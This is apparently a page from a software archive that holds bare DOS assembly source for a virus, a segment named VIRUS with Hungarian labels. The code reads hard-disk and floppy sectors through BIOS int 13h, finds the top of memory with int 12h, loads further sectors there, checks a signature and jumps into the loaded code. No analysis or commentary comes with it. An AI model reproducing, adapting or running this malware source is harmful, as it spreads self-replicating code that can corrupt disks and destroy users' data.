home *** CD-ROM | disk | FTP | other *** search
- PAGE ,132
- VIRUS SEGMENT PARA PUBLIC 'CODE'
- ASSUME CS:VIRUS,DS:VIRUS
- call gyilk
- int 20h
- nop
- gyilk: push ax
- push bx
- push cx
- push dx
- push es
- push ds
- push di
- push si
- call cim
- cim: pop bx
- mov si,5aa5h
- mov di,55aah
- push cs
- pop es
- ujra: add bx,1000
- cmp bx,1000
- jnc kilep1
- jmp kilep
- kilep1: push bx
- mov ax,201h
- mov dx,80h
- mov cx,1
- int 13h
- pop bx
- jnc tovabb
- jmp kilep
- tovabb: cmp si,0a55ah
- jnz tivbi1
- jmp kilep
- tivbi1: mov ax,cs:word ptr [bx]
- cmp ax,12cdh
- jz kilep
- tovbi: push bx
- mov ax,201h
- mov dx,0h
- mov cx,1
- int 13h
- pop bx
- jnc tovabbi
- cmp ah,6
- jz tovbi
- jmp kilep
- tovabbi: mov ax,cs
- add ax,1000h
- push bx
- push ax
- int 12h
- mov bx,64
- mul bx
- sub ax,1000h
- mov bx,ax
- pop ax
- cmp bx,ax
- jnc oke1
- pop bx
- jmp kilep
- oke1: pop bx
- oke: mov es,ax
- mov ax,cs:[bx+18h]
- mov cx,cs:[bx+1ah]
- mul cx
- mov cx,ax
- mov ax,cs:[bx+13h]
- mov dx,0
- div cx
- sub bx,1000
- push bx
- mov ch,al
- mov cl,1
- mov bx,100h
- mov dx,0
- mov ax,208h
- int 13h
- pop bx
- jc kilep
- push bx
- mov bx,100h
- mov ax,es:[bx]
- cmp ax,2452h
- pop bx
- jnz kilep
- mov ax,bx
- add ax,offset kilep-offset cim
- push cs
- push ax
- mov ax,10ah
- push es
- push ax
- retf
- kilep: pop si
- pop di
- pop ds
- pop es
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- cime: dw 0
- VEG EQU $
-
- VIRUS ENDS
-
- END
-